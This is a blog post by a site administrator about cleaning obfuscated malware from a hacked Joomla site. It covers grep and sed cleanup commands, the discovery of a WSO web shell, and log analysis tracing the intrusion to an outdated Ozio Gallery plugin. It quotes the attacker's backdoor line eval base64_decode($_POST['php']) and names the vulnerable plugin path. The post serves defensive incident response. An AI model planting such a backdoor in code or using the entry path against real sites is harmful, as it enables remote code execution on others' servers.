Malware on Joomla page

14 Jan 2011

I help running a Joomla website for a student organisation in Lund. We have had problems with someone getting access to our web server and adding code to our PHP files.

The added code is mostly obfuscated with the command ‘base64_decode(“jsadj.. jibberish ..ajdsa”)’. You can read about an earlier encounter we had with this problem on my old blog here.

It took us a long time to notice the attack since the only visible change they made to the website was to redirect google searches from our website to malware websites in Poland.
The difference between the last time and this latest injection is that this time there where thousands of lines of code added to the website.
I downloaded a copy of the website to my local Linux server (since we do not have SSH access to our web server) and searched for “base64_decode” with this command

find . -type f -name "*.php" -exec grep -H "base64_decode" {} \; > potentially_infected_files.txt

This search revealed that almost all php files on the website where infected. Then we began the cumbersome work to disinfect and remove all of the infected code (we had to be rather careful since Joomla also uses base64_decode in some places).
Then I stumbled over a way more simple way to remove most of the attackers work; In a file in called /cache/z.php there where a base64_decode function which decoded a very long message (a couple of thousand LOC). It was somewhat hard to decode since they used several layers of obfuscation. They had encoded it with both base64, str_13 and then compressed it. With a little tinkering I managed to see the code though.
It seemed to be some sort of a interface to control our website. But when I visited the /cache/z.php site directly through the browser all I could see was this:

So I set to work and removed the authentication sequence in the code and uploaded it to the file again.
I removed line 36
( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )

Now I had access to the attackers shell. Here is a picture of what it looked like:

I could make out from comments in the code that the tool is called WSO Shell by oRb and can be downloaded here.
The best thing about finding the shell was the “self remove” button. So since I had the sited backed up I decided to try it out. And guess what, it worked. It removed almost all of the inserted code on the website!
Even though it removed the majority of the bad code it did not remove all of it. They had to get into the website to install the shell in the first place right?
A couple more rounds with the search commands helped me to find some more malware code. They had i.e. on several places left commands that looked like this

eval base64_decode($_POST[“php”]);

Which would allow them to execute any php code on the website they wanted.
This command help us out a lot when we had to remove several versions of the same code in several files.
find . -type f -name "*.php" -exec sed -i -e 's/eval(base64_decode("ZXJyb.. the thing you want to remove ..NCiR1YT0kX1="));//g' {} \; 

When we had removed all of the injected code we were able to find we made an security upgrade of Joomla, changed all passwords and checked the site for XXS (cross site scripting) vulnerabilities with a great Firefox add-on called XXS ME but could not find any.
I hope that this post can aid someone who have similar problems.

UPDATE: The entry point – 2011-05-03

Alright, once again the site was infected. Apparently the security flaw wasn’t fixed in the security patch we downloaded for the website. Me and my friend once again put our wise heads together to figure out how the attacker got in to the website.
We began by searching through the apache logs looking for access to the file post.php which contained eval base64_decode($_POST[“php”]); mentioned earlier.
After searching the logs we found someone had access the file.

	$ grep -n -e "POST	/includes/post.php" access_combined.log
	$ - - [25/Apr/2011:14:02:04	+0200] "POST /includes/post.php HTTP/1.1" 200 406 "-" "-"

When we found access to the file in the logs we then searched the logs for the IP address that had accessed the file.
The result looked something like this
	$ grep -n -e "" access_combined.log
	$ - - [19/Apr/2011:12:27:39 +0200] "POST /components/com_oziogallery2/imagin/scripts_ralcr/filesystem/writeToFile.php HTTP/1.1" 200 5 "none" ""	

This gave us a rough list of what the attacker had been up to. And we could by looking at the earliest entries single out the entry point to our website.
It was an old plugin we had lying around that hadn’t got an security update since 2009. In our case it was an old version of Ozio Gallery.
We removed the plugin, uninstalled the attacker shell (as described above) and then removed all the base64 obfuscated redirects in the same manner as last time.
This time I even found a little greeting from the cracker crew in my robot.txt file.
Good luck in your attempts to clean out your website.

blog comments powered by Disqus